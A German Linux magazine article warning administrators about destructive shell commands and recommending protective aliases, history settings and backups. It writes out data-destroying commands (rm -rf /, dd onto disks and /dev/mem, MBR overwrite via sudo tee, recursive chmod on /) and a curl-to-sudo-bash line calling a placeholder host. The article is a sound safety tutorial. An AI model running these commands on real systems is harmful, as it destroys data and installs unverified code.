Linux bevormundet User nicht. Wer aus Jux, Tollerei oder Unwissenheit sein System zerstört, dem steht es dabei kaum im Weg. Deswegen sollten Sie sich über die Risiken im Klaren sein, vor allem als Super-User Root.
Der Evergreen rm -rf / begegnet mir beinahe täglich in scherzhaften Kommentaren auf Social Media oder in Foren. Mit vorangestelltem sudo oder direkt in einer Root-Shell verheißt der Befehl den Untergang einer Linux-Maschine, übrigens auf allen eingehängten Dateisystemen. Was sich dabei noch nicht herumgesprochen hat: Rm verfügt längst über einen Sicherheitsmechanismus, der das rekursive Löschen des gesamten Systems verhindert. Seit Version 6.4 gibt es die beiden standardmäßig aktiven Schalter --preserve-root beziehungsweise --no-preserve-root in einigen der GNU Core Utilities. Dank ihnen lässt sich das Root-Verzeichnis / gar nicht mehr rekursiv löschen.
Das erste Löschkommando aus Listing 1 führt geradewegs in die Katastrophe, wenn die Variable folder_to_remove nicht initialisiert ist, denn damit verbleibt hier nur der Slash / als letzte Defensivlinie. Ähnlich düster sieht die Lage in der zweiten Zeile aus, in der sich ein fatales Leerzeichen eingeschlichen hat. Hier springt der Fail-Safe --preserve-root in die Bresche und verhindert das Schlimmste.
Listing 1
Löschmich!
# rm -rf /${folder_to_remove}
# rm -rf / tmp/garbage
Verwenden Sie rm --preserve-root=all, wird das Verhalten von Rm sogar noch interessanter: Der Fail-Safe schützt Sie damit nicht nur davor, das Stammverzeichnis zu löschen. Er verhindert obendrein das Entfernen jedes Verzeichnisses, dessen Elternverzeichnis auf einem anderen Gerät liegt, also etwa auf gemounteten Dateisystemen.
Man könnte meinen, jetzt sei alles in Butter. Ich persönlich bin jedoch Freund expliziter Schalter. Damit fahre ich stets sicherer, wenn sich – warum auch immer – das Standardverhalten ändert. Vor bösen Überraschungen schütze ich mich mithilfe einiger Aliases wie dem aus Listing 2. Ich definiere sie in der Datei .bash_aliases, die wiederum durch die .bashrc geladen wird (Listing 3).
Listing 2
Rm-Alias
alias rm='rm --preserve-root=all --one-filesystem --interactive=once'
Listing 3
Bash-Aliases laden
if [ -f ~/.bash_aliases ]; then . ~/.bash_aliases fi
Die Geister der Vergangenheit
Wenn Sie wie ich aus Bequemlichkeitsgründen häufig auf die History der Shell zurückgreifen, sollten Sie im Hinterkopf behalten, dass sich dort mit der Zeit mitunter gefährliche Kommandos ansammeln wie etwa das folgende:
$ sudo find . -type f -mtime +31 -delete
Damit habe ich möglicherweise vor Monaten einmal im Verzeichnis /var/log/ uralte Logs gelöscht. Unter / ausgeführt, wirkt sich der Befehl absolut fatal aus, löscht er doch jede Datei, die älter ist als einen Monat. Mein Tipp an dieser Stelle: Setzen Sie find in Kombination mit dem Schalter -delete ausnahmslos mit absoluten Pfaden ein. Nutzen Sie also konkret etwa /var/log/, und operieren Sie niemals mit . oder ...
Außerdem rate ich dringend dazu, bestimmte Kommandos gar nicht erst in die History aufzunehmen. Hier bietet die Bash erneut einen brauchbaren Mechanismus: Über die Umgebungsvariable HISTCONTROL verbannen Sie mit der Option ignorespace per Leerzeichen eingeleitete Befehle aus der History (Listing 4, erste Zeile). Damit verhindern Sie, dass potenziell riskante Kommandos dort landen.
Listing 4
HISTCONTROL
HISTCONTROL=ignoredups:ignorespace HISTIGNORE='sudo rm *:rm *'
Zusätzlich unterdrückt ignoredups wiederholt eingegebene Befehle. Beide Schalter lassen sich mit ignoreboth aktivieren. Als noch nützlicher erweist sich in meinen Augen HISTIGNORE. Durch Doppelpunkte getrennt filtern Sie hier zum Beispiel alle Löschbefehle heraus, die mit Sudo-Berechtigungen ausgeführt werden (Listing 4, zweite Zeile).
Umleitung direkt in das Verderben
“Everything is a file”, also: alles ist eine Datei, so das Credo von Unix und seinen Abkömmlingen wie Linux. Das macht die Arbeit mit dem System einerseits unglaublich flexibel, andererseits müssen Sie sich diesbezüglich gleich vor mehreren Fallstricken in Acht nehmen.
Moderne Shells ermöglichen es, die Standard-Ein- und -Ausgabe von Programmen umzuleiten, egal wohin. Ein klassischer Fall wäre die Umleitung der Standardausgabe eines Werkzeugs in eine Protokolldatei, zum Beispiel um eine Liste aller großen Files im Heimatverzeichnis zu erzeugen (Listing 5, erste Zeile).
Listing 5
Umleitungen
# find ~ -type f -size +100m > ~/large_files.log # echo 1 > /proc/sys/vm/drop_caches # echo c > /proc/sysrq-trigger
Die Flexibilität geht so weit, dass Sie mittels echo und einer Shell im laufenden System mit dem Kernel interagieren können. Der Befehl aus der zweiten Zeile von Listing 5 leert beispielsweise die Page Caches. Das funktioniert so gut, dass Sie mit dem recht ähnlichen Kommando aus der letzten Zeile einen System-Crash heraufbeschwören können.
Wie immer gilt hier: Seien Sie generell misstrauisch bei Befehlsfolgen, die Sie nicht unmittelbar verstehen – vor allem, wenn sie als Root auszuführen sind. Zudem sollten Sie grundsätzlich auf Root-Shells verzichten, da zumindest manche bösartigen Befehle mit Sudo nicht funktionieren.
Nehmen Sie zum Beispiel das Kommando aus der letzten Zeile von Listing 6: Dabei landet der Text nicht einfach per Echo auf der Standardausgabe in Ihrem Terminal, sondern direkt auf der ersten Festplatte im System, wo sich üblicherweise der Master Boot Record befindet. Damit würde das System nicht mehr von der Platte booten.
Das Kommando kann jedoch nur dann funktionieren, wenn Sie es in eine Root-Shell einfügen. Das Gegenstück aus der zweiten Zeile von Listing 6 dagegen würde nicht klappen, weil das sudo sich ausschließlich auf echo bezieht und nicht auf die Umleitung > in der Shell. Sie könnte mit den Berechtigungen eines gewöhnlichen Users nicht in das Block-Device /dev/sda schreiben. Um das mit sudo zu bewerkstelligen, müssen Sie den Befehl so umformulieren wie in der letzten Zeile des Listings.
Listing 6
Boot Record killen
# echo "Master Boot Record zerstören" > /dev/sda $ sudo echo "Master Boot Record zerstören" > /dev/sda $ echo "Master Boot Record zerstören" | sudo tee /dev/sda
Dd oder der populäre Disk Destroyer
Einen sehr ambivalenten Ruf hat sich im Laufe der Jahrzehnte das Kommando Dd erarbeitet. Trotz unzähliger Warnungen habe ich damit nie eine größere Katastrophe erlebt – aber was nicht ist, kann ja noch werden. Das Grundproblem bei Dd besteht darin, dass das Werkzeug gewöhnlich direkt auf Block-Devices arbeitet, also vorbei an Dateisystemen. Dementsprechend müssen Sie es mit Root-Berechtigungen ausführen, mit all den damit verbundenen Risiken.
Wer eine Festplatte oder eine Partition klonen möchte, etwa um ein Live-Linux-Image auf einen USB-Stick zu transportieren, greift gewöhnlich zum scheinbar omnipräsenten Dd. Dasselbe gilt für das sichere Löschen von Festplatten. Selbstverständlich könnte man dazu ebenso Wipe oder Shred verwenden, allerdings führt der Befehl dd if=/dev/urandom of=/dev/sdb bs=4M deutlich schneller zum Ziel.
In Zerstörung mündet das Ganze, wenn Sie sich beim Output-File of= täuschen. Allzu flott überschreiben Sie dann anstatt des USB-Sticks die OS-Platte mit einem neuen Betriebssystem. Doch auch Dd profitiert vom erwähnten Unix-Credo. So kann ich sogar den Arbeitsspeicher des Systems durch dd if=/dev/urandom of=/dev/mem mit Zufallszahlen überschreiben. Das sorgt zwar nicht direkt für den ganz großen Stress, trotzdem wird das System dabei höchstwahrscheinlich abstürzen.
Effizient in den Abgrund mit Rsync
Rsync nutzen zahlreiche User als zuverlässiges Schweizer Messer, um Verzeichnisbäume von A nach B zu portieren. Auf die Idee, dass das Werkzeug erhebliches Gefahrenpotenzial birgt, kommt man dementsprechend auf Anhieb wohl kaum. Was vermutlich noch nicht zu jedermann durchgedrungen sein dürfte: Rsync offeriert einen der effizientesten Wege, große Verzeichnisbäume ins Nirwana zu schicken.
Wenn Sie schon einmal versucht haben, per rm -f * Hunderttausende Dateien in einem Verzeichnis zu löschen, wissen Sie um die Unmöglichkeit eines solchen Unterfangens: Fast keine Shell löst das Globbing über den Asterisk in die Dateinamen auf, und Rm akzeptiert ohnehin nicht derart viele Dateinamen als Parameter. Hier müssen Sie sich mit find [...] -delete oder Kombinationen aus Find, Xargs und Rm helfen. Oder Sie greifen eben zu Rsync.
Im nachstehenden Codebeispiel lege ich zunächst ein leeres Verzeichnis empty an. Dann weise ich Rsync an, es über eine potenziell riesige Verzeichnisstruktur zu synchronisieren. Dabei verwende ich den durchaus gefährlichen Schalter --delete (Listing 7).
Listing 7
Rsync-Kahlschlag
$ mkdir empty $ rsync --archive --delete empty /Pfad/mit/vielen/Dateien
Wie effizient Rsync beim Schreddern von Daten arbeitet, durfte einst einer meiner Kollegen erfahren. Er hatte Quell- und Zielverzeichnis verwechselt und den Delete-Schalter verwendet. Rsync erledigte zu seiner großen Verwunderung die Arbeit binnen kürzester Zeit – es beförderte schlicht Hunderte Gigabyte Daten ins Nirwana.
Unterwegs im Hdparm-Minenfeld
In einer Hitliste gefährlicher Programme darf Hdparm keinesfalls fehlen. Die Manpage des Werkzeugs liest sich wie die Spielregeln zu russischem Roulette. Mithilfe des Befehls man hdparm | grep -i dangerous können Sie sich einen Überblick über das ganze Ausmaß der Gefahren verschaffen, die im Zusammenhang mit dem Tool drohen.
Anhand der Ausgabe in Abbildung 1 lässt sich ablesen, welches Risiko der Einsatz nach sich zieht: Die Warnung DANGEROUS taucht insgesamt stolze 14 Mal auf. Sollten Sie mit dem Gedanken spielen, per Hdparm Ihre Festplatten und SSDs zu tunen, setzen Sie sich deshalb besser vorab intensiv mit der Doku des Tools auseinander.
Super-GAU dank Chmod und Chown
Wo schon ein bloßes chmod 777 /Pfad/zum/Ordner eine erhebliche Sicherheitslücke bedeuten kann, entpuppt sich ein chmod -R 777 / als Security-Super-GAU. Damit besitzt jeder und jede vollständige Rechte über alle möglichen (Konfigurations-)Dateien. Toppen ließe sich das nur, indem Sie per chmod -R 7777 / zusätzlich die Sticky Bits rekursiv setzen. Ohne eine exzellente Backup-Strategie dürfte es extrem schwerfallen, wenn nicht gar unmöglich sein, das System wieder mit vernünftigen Berechtigungen zu versehen. Ich persönlich würde direkt von einem Reparaturversuch absehen.
Als genauso tödlich entpuppt sich die umgekehrte Variante. Ein System, über das jemand rekursiv das Kommando chmod -R 000 / ausführt, lässt sich zu nichts mehr gebrauchen. Bereits Unachtsamkeiten wie chmod -x /usr/bin/chmod, chmod -x /usr/bin/su oder chmod -x /usr/bin/sudo unterbinden im ungünstigsten Fall (also bei deaktiviertem Root-User) jegliche Möglichkeit zur Systemwartung.
Anleitungen, sich hacken zu lassen
Der mit Abstand himmelschreiendste Leichtsinn begegnet mir unaufhörlich in hippen Installationsanleitungen, gerade im DevOps-Umfeld. Nutzer dazu zu erziehen, nicht geprüfte Skripts per Curl aus dem Internet herunterzuladen und direkt per Pipe in eine Root-Shell zu stopfen, ist meiner Meinung nach völlig gehirntot.
Sicher, das mag gut gehen, solange große Projekte wie Chef, Docker, Rust-Lang oder Node.js ihre Webseiten und Domains im Griff haben. Was aber, wenn nicht? Was, wenn Tausende User und weitaus mehr Docker-Container sich über diesen bequemen Weg die Malware direkt ins Haus holen? Für mich gehört das folgende Beispiel definitiv zu den größeren Security-Risiken:
$ curl https://just.hackme.now/install.sh | sudo bash
Nutzern, die Software aus Drittquellen benötigen, sollte man unbedingt beibringen, solche Install-Skripts zunächst herunterzuladen und sie kurz zu überfliegen, um sie erst auszuführen, wenn dubiose Machenschaften ausgeschlossen sind.
Zur Rettung eilende Aliases
In der Softwareentwicklung gibt es seit Jahrzehnten Design Patterns, um gute Ansätze weiterzuführen. Etwas später kamen Anti-Patterns hinzu, die zeigen sollen, wie man es eben nicht macht. Von Design Patterns bei der Systemadministration weiß ich bisher nichts, aber Sie können auf einige hilfreiche Schalter und Optionen zurückgreifen, um schlimme Fehler zu verhindern. Mit den Aliases aus Listing 8 legen Sie einen guten Grundstock.
Listing 8
Rettende Bash-Aliases
alias rm='rm --interactive=once --preserve-root=all --one-filesystem' alias cp='cp --interactive=once' alias mv='mv --interactive=once' alias chown='chown --preserve-root' alias chmod='chmod --preserve-root' alias chgrp='chgrp --preserve-root'
Dazu noch ein wichtiger Hinweis, der vielleicht nicht jedem unmittelbar bewusst ist: Sie können Aliases umgehen, indem Sie ihnen entweder einen Backslash \ voranstellen oder das jeweilige Programm mit absolutem Pfad ausführen. Der Schutz aus Listing 8 greift also nicht, wenn Sie /usr/bin/rm -rf oder \rm -rf aufrufen.
Stehen risikobehaftete Tätigkeiten an, lohnt es sich stets, zuvor ein Backup anzulegen oder falls möglich einen Snapshot der fraglichen virtuellen Maschine. So können Sie das System oder die Instanz zumindest direkt wiederherstellen, sofern Sie das Unglück gleich bemerken. In jedem Fall rate ich zudem bei solchen Aktionen zum Vier-Augen-Prinzip.
Fazit: In der Not helfen Backups
Gemäß Murphys Law unterläuft uns allen früher oder später einmal ein schwerwiegender Fehler. Typischerweise geschieht das zuverlässig dann, wenn es am wenigsten passt. Für solche Fälle lautet wie so oft die Moral von der Geschicht’: Ohne Backup geht es nicht.
Um erst gar nicht in solche Situationen zu geraten, zahlt es sich definitiv aus, die vorgeschlagenen Aliases und History-Optionen zu verwenden. Daneben ist es sinnvoll, risikoreiche Aufgaben mit (Shell-)Skripten zu automatisieren. Gut getesteter Code macht erfahrungsgemäß weniger Fehler als ein Mensch. (csi/jlu)






